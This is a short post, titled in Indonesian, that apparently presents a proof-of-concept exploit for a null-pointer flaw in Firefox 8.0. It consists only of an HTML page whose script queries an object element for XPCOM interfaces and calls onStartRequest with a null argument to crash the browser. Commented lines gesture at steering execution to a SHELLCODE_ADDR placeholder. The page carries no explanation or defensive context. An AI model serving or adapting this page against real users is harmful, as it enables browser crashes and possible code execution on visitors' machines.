Vulnerability Null Pointer pada Firefox 8.0

<html>
  <body>
   <object id="eth0">
    <script>
     RIINDC=document.getElementById("eth0");
     RIINDC.QueryInterface(Components.interfaces.nsIRequestObserver);
     //RIINDC.mchannel=SHELLCODE_ADDR
     RIINDC.onStartRequest(null,RIINDC.QueryInterface(Components.interfaces.nsISupports));
//RIINDC.onStartRequest(RIINDC.mchannel,DWCJWL.QueryInterface(Components.interfaces.nsISupports)     );
   </script>
 </body>
</html>